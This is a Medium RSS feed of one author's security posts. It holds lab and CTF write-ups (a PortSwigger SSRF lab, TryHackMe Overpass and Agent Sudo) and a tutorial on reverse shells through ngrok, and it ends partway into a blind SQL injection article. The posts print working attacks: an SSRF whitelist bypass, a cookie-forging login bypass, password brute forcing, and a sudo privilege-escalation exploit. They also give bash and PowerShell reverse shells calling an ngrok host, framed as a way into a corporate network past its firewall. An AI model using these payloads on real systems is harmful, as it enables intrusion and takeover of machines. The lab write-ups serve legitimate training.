<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Kara on Medium]]></title>
        <description><![CDATA[Stories by Kara on Medium]]></description>
        <link>https://medium.com/@soltanovkamil19?source=rss-7a80daecc669------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*ESHCiRMGKKT4tiZY</url>
            <title>Stories by Kara on Medium</title>
            <link>https://medium.com/@soltanovkamil19?source=rss-7a80daecc669------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 16:23:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@soltanovkamil19/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PortSwigger SSRF Labs]]></title>
            <link>https://medium.com/@soltanovkamil19/portswigger-ssrf-labs-2474fcd03df7?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/2474fcd03df7</guid>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 23:10:49 GMT</pubDate>
            <atom:updated>2025-02-22T23:10:49.267Z</atom:updated>
            <content:encoded><![CDATA[<h3>Lab: SSRF with whitelist-based input filter</h3><p>Ilk once site de crowling edirik, butun buttonlara basaraq requestleri analiz etmeye hazirlasiriq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*euq9fzJ8XQPqyiFriFvKow.png" /></figure><p>Bele bir section var ki Check Stock a basaraq back-end’den stocklarin sayini aliriq . Buna Burpda baxaq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dLdCGNloC0i5-ViMqv1lOA.png" /></figure><p>Bu requeste stockApi Headerini goruruk ve onun uzerinde deyisiklikler ederek web sehifenin nece response vereceyini analiz edirik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uTUP_TbJ8RdcwjI7lj43vA.png" /></figure><p>Localhost yoxladiq ve bize response kimi “External stock check host must be stock.weliketoshop.net” gelir. Bundan o qenaete gelirik ki , burada white-list mentiqi isleyir , yalniz “stock.weliketoshop.net” gelen requestler qebul olunur.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eWtASYdUQ4ipsDkCMRzgGA.png" /></figure><p>Api imizi <a href="http://localhost@stock.weliketoshop.net/">http://localhost@stock.weliketoshop.net/</a> bu sekilde deyisdikden sonra response ala bilirik. Indi ise duzgun portu tapaq</p><p><a href="http://localhost@stock.weliketoshop.net/"><strong><em>http://localhost:PORT#@stock.weliketoshop.net/</em></strong></a></p><p>buradaki PORT u intrudere atib ve ya manual yoxlayib 80,443,8080,8888 oldugunu tapmaga calisiriq (ekseren 80 http olur)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bLZuDBpfWMK6I3bVXjCKaw.png" /></figure><p>Ve budur. Admin panel !! payload :</p><p><a href="http://localhost:80%2523@stock.weliketoshop.net/"><strong><em>http://localhost:80%2523@stock.weliketoshop.net/</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ErYYgc8cFhGvsifqS8DUGA.png" /></figure><p>Carlos accountumuzu da sildikden sonra labimiz burada bitir.</p><p><a href="http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos"><strong><em>http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos</em></strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7ag9BEQkPzKNWpMntqSZAQ.png" /></figure><p>Lab exactly solved )</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2474fcd03df7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REPORT]]></title>
            <link>https://medium.com/@soltanovkamil19/report-80fa21ded6fe?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/80fa21ded6fe</guid>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 22:38:16 GMT</pubDate>
            <atom:updated>2025-02-22T22:38:16.724Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — OVERPASS — CTF</h3><p>Ilk once NMAP ile scanning edirik.</p><pre>┌──(kara㉿kara)-[~]<br>└─$ nmap -Pn 10.10.150.189 <br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 17:04 EST<br>Nmap scan report for 10.10.150.189<br>Host is up (0.10s latency).<br>Not shown: 998 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap done: 1 IP address (1 host up) scanned in 1.92 seconds</pre><p>Http service e daxil olaq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lGfEQybsy0j7OCeWG1ZSIA.png" /></figure><p>Bele bir ekranla qarsilasiriq , gelin fuzzing edek ve subdir leri tapaq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*p7nEGCQpNQlbjHaejbVZfA.png" /></figure><p>/admin e daxil olaq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*wm5shbJT8T8ZXggp8GLjkQ.png" /></figure><p>enux4linux , brute-force , sqli yoxlasaq da giris elde ede bilmedik , o zaman bir az web-page-i analiz edek</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_NsH3yt-nq5MnU6dijQ_MQ.png" /></figure><p>login.js adli JavaScript file i goruruk. Inceleyek</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*PBKWvN004kvrLWSThJgG-g.png" /></figure><p>Kodu analiz etsek gorerik ki , son bolmede olan async function login() de userin eger cookiesi varsa o zaman login page-i bypass ede biler. Bu normaldir beli amma anormal olan sey cookie-e random bir value de versek acceptable olmasidir.</p><p>Bunun ucun console-dan Cookie.set(“SessionToken”,1) yaziriq .</p><p>Bunu etdikden sonra page e refresh atiriq ve budur login olduq</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ehsDwJgYhdOK2LeR2J9cVQ.png" /></figure><p>ssh ucun private key goruruk , bunu copy edib localimizda yaratdigimiz bir fileye atiriq ve ssh connection qurmaga calisirq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*aC9VvATevJ24FcRKljrHqw.png" /></figure><p>james : james13 bizim credential’larimiz.</p><pre>┌──(kara㉿kara)-[~/mine/THM/OverPass]<br>└─$ ssh -i overpass_key james@10.10.150.189 <br>The authenticity of host &#39;10.10.150.189 (10.10.150.189)&#39; can&#39;t be established.<br>ED25519 key fingerprint is SHA256:FhrAF0Rj+EFV1XGZSYeJWf5nYG0wSWkkEGSO5b+oSHk.<br>This host key is known by the following other names/addresses:<br>    ~/.ssh/known_hosts:3: [hashed name]<br>Are you sure you want to continue connecting (yes/no/[fingerprint])? yes<br>Warning: Permanently added &#39;10.10.150.189&#39; (ED25519) to the list of known hosts.<br>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @<br>@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@<br>Permissions 0664 for &#39;overpass_key&#39; are too open.<br>It is required that your private key files are NOT accessible by others.<br>This private key will be ignored.<br>Load key &quot;overpass_key&quot;: bad permissions<br>james@10.10.150.189&#39;s password: <br>Permission denied, please try again.</pre><p>ssh connection zamani bele errorla qarsilasiriq bunu solve etmek ucun overpass_key ucun olan qaydani unutmuruq ki, bu private_key’ler yalniz owneri terefinden read and write oluna biler . Bunun ucun ona 600 permissionu veririk (rw — — — )</p><pre>┌──(kara㉿kara)-[~/mine/THM/OverPass]<br>└─$ chmod 600 overpass_key <br>                                                                                                                                                <br>┌──(kara㉿kara)-[~/mine/THM/OverPass]<br>└─$ ssh -i overpass_key james@10.10.150.189<br>Enter passphrase for key &#39;overpass_key&#39;: <br>Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-108-generic x86_64)<br><br> * Documentation:  https://help.ubuntu.com<br> * Management:     https://landscape.canonical.com<br> * Support:        https://ubuntu.com/advantage<br><br>  System information as of Sat Feb 22 22:36:32 UTC 2025<br><br>  System load:  0.0                Processes:           88<br>  Usage of /:   22.3% of 18.57GB   Users logged in:     0<br>  Memory usage: 12%                IP address for eth0: 10.10.150.189<br>  Swap usage:   0%<br><br><br>47 packages can be updated.<br>0 updates are security updates.<br><br><br>Last login: Sat Jun 27 04:45:40 2020 from 192.168.170.1<br>james@overpass-prod:~$</pre><p>Budur artiq servere connectionumuz var. User.txt ni ele kecirek.</p><pre>james@overpass-prod:~$ ls<br>todo.txt  user.txt<br>james@overpass-prod:~$ cat user.txt<br>thm{65c1aaf000506e56996822c6281e6bf7}</pre><p>Budur Lab solve olundu.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=80fa21ded6fe" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[REPORT]]></title>
            <link>https://medium.com/@soltanovkamil19/report-693198535238?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/693198535238</guid>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Sat, 22 Feb 2025 21:59:00 GMT</pubDate>
            <atom:updated>2025-02-22T21:59:00.295Z</atom:updated>
            <content:encoded><![CDATA[<h3>THM — AGENT SUDO — CTF</h3><p>Ilk once NMAP ile scaning edirik.</p><pre>┌──(kara㉿kara)-[~]<br>└─$ nmap -Pn 10.10.247.95<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 14:14 EST<br>Nmap scan report for 10.10.247.95<br>Host is up (0.15s latency).<br>Not shown: 997 closed tcp ports (reset)<br>PORT   STATE SERVICE<br>21/tcp open  ftp<br>22/tcp open  ssh<br>80/tcp open  http<br><br>Nmap done: 1 IP address (1 host up) scanned in 25.46 seconds</pre><p>Ilk once http service nezer yetirek:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*zIskKhbhSYTqrYw-z9lv0g.png" /></figure><p>Bele bir data elde edirik ki , userler oz codename lerini yazaraq site’ye giris elde edir. User-agent deyende ise aglimiza ilk gelen sey Http Header olur.</p><p>Fikir verin, bu yazini yazan (admin) “R” kimi ozunu qeyd edib. Bele bir texmin yurude bilerik ki, codename’ler userlarin bas herfleridir. Yoxladiqda heqiqeten de duz oldugunu tesdiqleyirik.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EYQjiZzDypD8-EClJ3NUPA.png" /></figure><p>Requesti tutub user-agent Header’e R yazib gonderdim (texminimce admin userin bas herfi) amma gelen response de bizi reject edir. Sadece Intruderden istifade ederek User-Agent e brute-force edirem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TIFzFX30IhehC6vlFaLdkg.png" /></figure><p>Budur , C bizi reject etmir . User-Agent : C edib davam edirem.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPuu9GrvkLpSnOiUok0jOQ.png" /><figcaption>Location: agent_C_attention.php</figcaption></figure><p>Beli , yeni bir HEADER elde edirik ve ona access etmeye calisiriq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*b9OtH4swAnrj-CFifI2Fpg.png" /><figcaption>username is chris</figcaption></figure><p>Username’in “<strong><em>chris</em></strong>” oldugunu tapdiq. FTP ve SHH portlarinin aciq oldugunu bilirik ve elimizde username da var . O zaman brute-force edek ve passwd ni tapaq (hydra-dan istifade edecem).</p><pre>┌──(kara㉿kara)-[~]<br>└─$ hydra -l chris -P /home/kara/Downloads/rockyou.txt ftp://10.10.247.95<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br><br>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-22 14:48:07<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344398 login tries (l:1/p:14344398), ~896525 tries per task<br>[DATA] attacking ftp://10.10.247.95:21/<br>[21][ftp] host: 10.10.247.95   login: chris   password: crystal<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-22 14:49:05</pre><p>password: crystal That’s it.</p><p>FTP ve SHH i yoxlayaq</p><pre>┌──(kara㉿kara)-[~]<br>└─$ ftp 10.10.247.95                                    <br>Connected to 10.10.247.95.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.247.95:kara): chris<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt;</pre><p>FTP connectionumuz var , biraz crowling edek.</p><pre>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||11530|)<br>150 Here comes the directory listing.<br>-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt<br>-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg<br>-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png<br>226 Directory send OK.</pre><p>“<strong><em>get</em></strong>” den istifade ederek bu datalari localimiza ataq.</p><pre>ftp&gt; get To_agentJ.txt<br>local: To_agentJ.txt remote: To_agentJ.txt<br>229 Entering Extended Passive Mode (|||51084|)<br>150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).<br>100% |***************************************************************************************************|   217       23.70 KiB/s    00:00 ETA<br>226 Transfer complete.<br>217 bytes received in 00:00 (1.98 KiB/s)<br>ftp&gt; get cute-alien.jpg<br>local: cute-alien.jpg remote: cute-alien.jpg<br>229 Entering Extended Passive Mode (|||40641|)<br>150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).<br>100% |***************************************************************************************************| 33143      136.18 KiB/s    00:00 ETA<br>226 Transfer complete.<br>33143 bytes received in 00:00 (88.90 KiB/s)<br>ftp&gt; get cutie.png<br>local: cutie.png remote: cutie.png<br>229 Entering Extended Passive Mode (|||49291|)<br>150 Opening BINARY mode data connection for cutie.png (34842 bytes).<br>100% |***************************************************************************************************| 34842      150.74 KiB/s    00:00 ETA<br>226 Transfer complete.<br>34842 bytes received in 00:00 (105.12 KiB/s)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AqoVnwP3o_buzem--ToiJw.png" /></figure><p>Aha , bu txt ni oxuduqdan sonra bilirik ki ,bu sekiller sixisdirilib ve elave datalara malikdirler. Bunun ucun “steg”-den istifade edeceyik.</p><p><strong>NOTE : Steganography can be used to hide any type of digital data including images, text, audio, video, etc</strong>. 1. Steghide: This steganographic tool helps to hide the data in various types of image and audio files. It is a command-line software where it is essential to learn the commands to use it effectively.</p><pre>┌──(kara㉿kara)-[~]<br>└─$ steghide info cutie.png                                    <br>steghide: the file format of the file &quot;cutie.png&quot; is not supported.<br>                                                                                                                                                <br>┌──(kara㉿kara)-[~]<br>└─$ steghide info cute-alien.jpg <br>&quot;cute-alien.jpg&quot;:<br>  format: jpeg<br>  capacity: 1.8 KB<br>Try to get information about embedded data ? (y/n) y<br>Enter passphrase: <br>steghide: could not extract any data with that passphrase!</pre><p>Indi ise “binwalk” dan istifade edek .</p><p><strong>NOTE : Binwalk is a simple linux tool for analysing binary files for embeded files and executable code</strong>. It is mostly used to extract the content of firmware images.</p><pre>┌──(kara㉿kara)-[~]<br>└─$ binwalk cutie.png                       <br><br>DECIMAL       HEXADECIMAL     DESCRIPTION<br>--------------------------------------------------------------------------------<br>0             0x0             PNG image, 528 x 528, 8-bit colormap, non-interlaced<br>869           0x365           Zlib compressed data, best compression<br>34562         0x8702          Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt<br>34820         0x8804          End of Zip archive, footer length: 22<br><br>                                                                                                                                                <br>┌──(kara㉿kara)-[~]<br>└─$ binwalk cute-alien.jpg       <br><br>DECIMAL       HEXADECIMAL     DESCRIPTION<br>--------------------------------------------------------------------------------<br>0             0x0             JPEG image data, JFIF standard 1.01</pre><p>Goruruk ki, cutie.png de elave datalar var. Extract edek.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXaSa0BPsNsnzp2HRgLg2A.png" /></figure><p>Artiq _cutie.png.extracted -e sahibik.</p><p>Bu directorynin icine baxsaq 8702.zip adli bi zip goreceyik onu zip2john ederek JohnRipper tool u ile hash i ni cracklayacayiq .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*ldhgzYTD2aIpAKJb853Jmg.png" /></figure><p>Budur To_agentR.txt nin passwordu elimizdedir. Txt e nezer yetirek.</p><pre>┌──(kara㉿kara)-[~/mine/THM/_cutie.png.extracted]<br>└─$ 7z x 8702.zip<br><br>7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29<br> 64-bit locale=en_US.UTF-8 Threads:8 OPEN_MAX:1024, ASM<br><br>Scanning the drive for archives:<br>1 file, 280 bytes (1 KiB)<br><br>Extracting archive: 8702.zip<br>--<br>Path = 8702.zip<br>Type = zip<br>Physical Size = 280<br><br>    <br>Enter password (will not be echoed):<br>Everything is Ok<br><br>Size:       86<br>Compressed: 280</pre><p>Elde etdiyimiz password ile To_agentR.txt zipden cixaririq.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*veW5G5aYcRIQg02ZsWkPzA.png" /></figure><p>“QXJlYTUx” boyuk ehtimal sifrelenmis bir passworddur</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*10iB-oAaCZax-S8X_-fF4Q.png" /></figure><p>Eledi ki var. Area51 alien olan sekillerden birinin passwd-dir. Bu da “<strong><em>cute-alien.jpg</em></strong>”-dir.</p><pre>┌──(kara㉿kara)-[~/mine/THM]<br>└─$ steghide extract -sf cute-alien.jpg<br>Enter passphrase: (Area51)<br>wrote extracted data to &quot;message.txt&quot;.<br>┌──(kara㉿kara)-[~/mine/THM]<br>└─$ ls<br>cute-alien.jpg  cute-alien.jpg.out  cutie.png  _cutie.png.extracted  message.txt  rockyouu.txt  To_agentJ.txt<br>┌──(kara㉿kara)-[~/mine/THM]<br>└─$ cat message.txt       <br>Hi james,<br><br>Glad you find this message. Your login password is hackerrules!<br><br>Don&#39;t ask me why the password look cheesy, ask agent R who set this password for you.<br><br>Your buddy,<br>chris</pre><p>Budur. James userinin passwordu (hackerrules!) elimizdedir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*spAtAyYRBF7Vv-lDlzEltQ.png" /></figure><p>SHH ile servere sizdiq. user.txt ni tapaq.</p><pre>Last login: Sat Feb 22 21:35:15 2025 from 10.8.74.142<br>james@agent-sudo:~$ ls<br>Alien_autospy.jpg  user_flag.txt<br>james@agent-sudo:~$ cat user_flag.txt <br>b03d975e8c92a7c04146cfa7a5a313c7</pre><p>Budur user flagimiz</p><p>Indi ise PrivEsc ederek root_flag.txt ni tapaq</p><p>Ilk olaraq baxaq gorek sudo olaraq ne ede bilirik?</p><pre>james@agent-sudo:~$ sudo -l<br>[sudo] password for james: <br>Matching Defaults entries for james on agent-sudo:<br>    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin<br><br>User james may run the following commands on agent-sudo:<br>    (ALL, !root) /bin/bash</pre><pre>(ALL, !root) /bin/bash</pre><p>Bunun haqqinda GTFOBINS de arasdiririq amma hec ne elde etmirik. Okay biraz search edek ..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lWxYCfwnV828eO63rxHMXA.png" /></figure><p>Budur Exploit Database de tapdiq PrivEsc etmek olur.</p><pre>EXPLOIT: <br><br>sudo -u#-1 /bin/bash<br><br>Example : <br><br>hacker@kali:~$ sudo -u#-1 /bin/bash<br>root@kali:/home/hacker# id<br>uid=0(root) gid=1000(hacker) groups=1000(hacker)<br>root@kali:/home/hacker#</pre><pre>LAB:<br><br>james@agent-sudo:~$ sudo -u#-1 /bin/bash<br>root@agent-sudo:~# ls<br>Alien_autospy.jpg  user_flag.txt<br>root@agent-sudo:~# cd ..<br>root@agent-sudo:/home# cd ..<br>root@agent-sudo:/# ls<br>bin   cdrom  etc   initrd.img      lib    lost+found  mnt  proc  run   snap  swap.img  tmp  var      vmlinuz.old<br>boot  dev    home  initrd.img.old  lib64  media       opt  root  sbin  srv   sys       usr  vmlinuz<br>root@agent-sudo:/# cd root<br>root@agent-sudo:/root# ls<br>root.txt<br>root@agent-sudo:/root# cat root.txt<br>To Mr.hacker,<br><br>Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine. <br><br>Your flag is <br>b53a02f55b57d4439e3341834d70c062<br><br>By,<br>DesKel a.k.a Agent R<br>root@agent-sudo:/root# </pre><p>Budur root.txt de ele kecirdik</p><p>Bonus task ise hemin root.txt ni yazan DesKel bizden sorusur.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=693198535238" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ngrok and Reverse Shell]]></title>
            <link>https://medium.com/@soltanovkamil19/ngrok-and-reverse-shell-e9f495e3d8e7?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9f495e3d8e7</guid>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[bind-shell]]></category>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Fri, 07 Feb 2025 15:13:07 GMT</pubDate>
            <atom:updated>2025-02-07T15:13:07.953Z</atom:updated>
            <content:encoded><![CDATA[<h3>What Is a Reverse Shell and How Does It Work?</h3><p><strong>Normal shell connection</strong> — Typically, you <strong>connect to a target server via SSH or RDP</strong> (i.e., you initiate the connection).<br> <strong>Reverse shell</strong> — <strong>The target machine connects to you</strong>, and you gain control over it.</p><p>Let’s dive a little deeper.</p><p>A <strong>reverse shell</strong> is a type of shell where the target machine initiates a connection back to the attacker’s machine. This is useful in environments where inbound connections (like bind shells) are blocked by firewalls, but outbound connections are allowed.</p><p>A <strong>bind shell</strong> is a type of shell that opens a specific port on the target machine and waits for an incoming connection from an attacker. Unlike a <strong>reverse shell</strong>, where the target connects back to the attacker’s machine, a bind shell allows the attacker to directly connect to the victim’s open port using a tool like Netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*fb6Ov1Pw-EJVcGVCknI-iQ.png" /></figure><p>Now we can continue our main topic : <br> Firewalls <strong>often block incoming connections</strong>, but they <strong>usually allow outgoing connections</strong>.<br> <strong>Ngrok’s TCP tunnel</strong> helps to <strong>bypass this limitation</strong>.</p><h3>What Is Ngrok?</h3><p>Ngrok is a tunneling tool used to expose a local server to the internet. If NAT or firewall restrictions prevent direct access to a server, Ngrok can create a tunnel that makes the server publicly accessible. A subdomain is generated via ngrok.io, allowing remote access to the local server.</p><h3>What Is It Used For?</h3><p>Ngrok is primarily used to make local servers accessible remotely. Developers use it to test websites and APIs. It is ideal for testing webhooks (e.g., Stripe, Telegram bots, PayPal, etc.). It helps bypass NAT and firewall restrictions for remote access (e.g., SSH, RDP, TCP tunnels). It can also be used for pentesting and ethical hacking (e.g., reverse shell, pivoting), though this is not its primary purpose.</p><h3>Is Ngrok Secure?</h3><p>Ngrok encrypts tunnels with TLS, making connections secure. HTTPS and TLS support prevent data interception by third parties. However, misconfiguration or leaving open tunnels can create security risks. Regular security checks and authentication measures are recommended. Note: Public tunnels may pose security risks. It is advisable to use Ngrok’s authentication and whitelist features.</p><h3>How to Connect to Ngrok?</h3><p>To use Ngrok, you need to install and configure it first.</p><ol><li>Download and install Ngrok (available for Linux, Windows, macOS).</li><li>2. Open a tunnel using the command:</li></ol><pre>ngrok http 8080</pre><p>After running this command, Ngrok will provide a URL:</p><pre>https://randomsub.ngrok.io</pre><p>Now, anyone accessing this URL can connect to your localhost server on port 8080.</p><h3>Other Protocols:</h3><ul><li>Open a TCP tunnel (for SSH):</li></ul><pre>ngrok tcp 22</pre><ul><li>Use a custom domain:</li></ul><pre>ngrok http -hostname=yourdomain.com 8080</pre><h3>How to Set Up a Reverse Shell Using Ngrok — Practical Example</h3><p><strong>Scenario:</strong></p><ul><li>The target machine is inside a corporate network and <strong>does not have a public IP</strong>.</li><li>The firewall only allows certain outgoing traffic, blocking incoming connections.</li><li>You want to <strong>gain access to the target machine using a reverse shell</strong>.</li></ul><p><strong>This process involves two main steps:</strong><br> 1. <strong>Setting up an Ngrok TCP tunnel on your machine</strong><br> 2. <strong>Executing a reverse shell command on the target machine</strong></p><h3>1. Set Up Ngrok TCP Tunnel on Your Machine</h3><p>Run the following command on your machine to create a TCP tunnel:</p><pre>ngrok tcp 4444</pre><p>After running this command, Ngrok will provide a <strong>public TCP address</strong>, such as:</p><pre>tcp://0.tcp.ngrok.io:19234</pre><p><strong>This means that if the target machine connects to this IP and port, the traffic will be forwarded to your local machine’s port </strong><strong>4444.</strong></p><h3>2. Execute Reverse Shell on the Target Machine</h3><p>Now, execute the following <strong>bash-based</strong> reverse shell command on the target machine:</p><pre>bash -i &gt;&amp; /dev/tcp/0.tcp.ngrok.io/19234 0&gt;&amp;1</pre><p><strong>What does this command do?</strong></p><ul><li>bash -i → <strong>Opens an interactive bash shell</strong></li><li>/dev/tcp/0.tcp.ngrok.io/19234 → <strong>Connects to the Ngrok TCP tunnel</strong></li><li>0&gt;&amp;1 → <strong>Redirects standard input and output</strong></li></ul><p><strong>Once this command is executed, the target machine will automatically connect to your machine!</strong></p><h3>3. Open a Listener on Your Machine</h3><p>To receive the incoming connection from the target machine, open a Netcat listener:</p><pre>nc -lvnp 4444</pre><p><strong>With this command, your machine listens on port </strong><strong>4444 for incoming connections.</strong><br> Once the <strong>reverse shell is established</strong>, you <strong>gain full control over the target machine</strong>!</p><h3>3. Windows Reverse Shell (Using PowerShell)</h3><p>If the target machine is <strong>Windows</strong>, use the following PowerShell script:</p><pre>$client = New-Object System.Net.Sockets.TCPClient(&quot;0.tcp.ngrok.io&quot;, 19234);<br>$stream = $client.GetStream();<br>$writer = New-Object System.IO.StreamWriter($stream);<br>$buffer = New-Object System.Byte[] 1024;<br>while(($bytes = $stream.Read($buffer, 0, $buffer.Length)) -ne 0) {<br>    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer,0, $bytes);<br>    $sendback = (iex $data 2&gt;&amp;1 | Out-String );<br>    $sendback2 = $sendback + &quot;PS &quot; + (pwd).Path + &quot;&gt; &quot;;<br>    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);<br>    $stream.Write($sendbyte,0,$sendbyte.Length);<br>    $stream.Flush()<br>}<br>$client.Close()</pre><p><strong>What does this script do?</strong></p><ul><li>TCPClient(&quot;0.tcp.ngrok.io&quot;, 19234) → <strong>Connects to the Ngrok TCP tunnel</strong></li><li><strong>Once connected, you can execute Windows PowerShell commands remotely</strong></li></ul><h3>4. Pivoting — Moving Within the Network</h3><p>Once you have gained a <strong>reverse shell</strong>, you can use Ngrok to open additional tunnels and move further within the network.</p><p><strong>For example:</strong><br> <strong>1</strong>. <strong>On the compromised machine, create an SSH tunnel:</strong></p><pre>ngrok tcp 22</pre><p><strong>Ngrok will provide a public TCP address, such as:</strong></p><pre>tcp://0.tcp.ngrok.io:25432</pre><p>2. <strong>Now, remotely connect to this machine via SSH:</strong></p><pre>ssh user@0.tcp.ngrok.io -p 25432</pre><p><strong>This allows you to access the corporate network and move to other systems.</strong></p><h4><strong><em>We’ve reached the end. Thank you for taking the time to read my article. See you in the next articles!</em></strong></h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9f495e3d8e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BLIND SQL Injection]]></title>
            <link>https://medium.com/@soltanovkamil19/blind-sql-injection-821d9f91cc0e?source=rss-7a80daecc669------2</link>
            <guid isPermaLink="false">https://medium.com/p/821d9f91cc0e</guid>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[time-based-sql-injection]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Kara]]></dc:creator>
            <pubDate>Thu, 06 Feb 2025 13:13:48 GMT</pubDate>
            <atom:updated>2025-02-06T13:13:48.234Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello, today we will be discussing Blind SQL Injection. During this session, we will work on some labs using <strong>bWAPP</strong>, a vulnerable application set up locally. Let’s get started!</p><blockquote><strong><em>What is blind SQL injection?</em></strong></blockquote><p>Blind SQL injection occurs when an application is vulnerable to SQL injection, but its HTTP responses do not contain the results of the relevant SQL query or the details of any database errors.</p><p>Many techniques such as <a href="https://portswigger.net/web-security/sql-injection/union-attacks">UNION attacks</a> are not effective with blind SQL injection vulnerabilities. This is because they rely on being able to see the results of the injected query within the application&#39;s responses. It is still possible to exploit blind SQL injection to access unauthorized data, but different techniques must be used.</p><p>In this article, we will explore the <strong>time-based</strong> and <strong>boolean-based</strong> types of Blind SQL Injection and attempt to solve related labs.</p><blockquote><strong><em>What is Time-Based SQL Injection?</em></strong></blockquote><p><strong>Time-Based SQL Injection</strong> is a type of 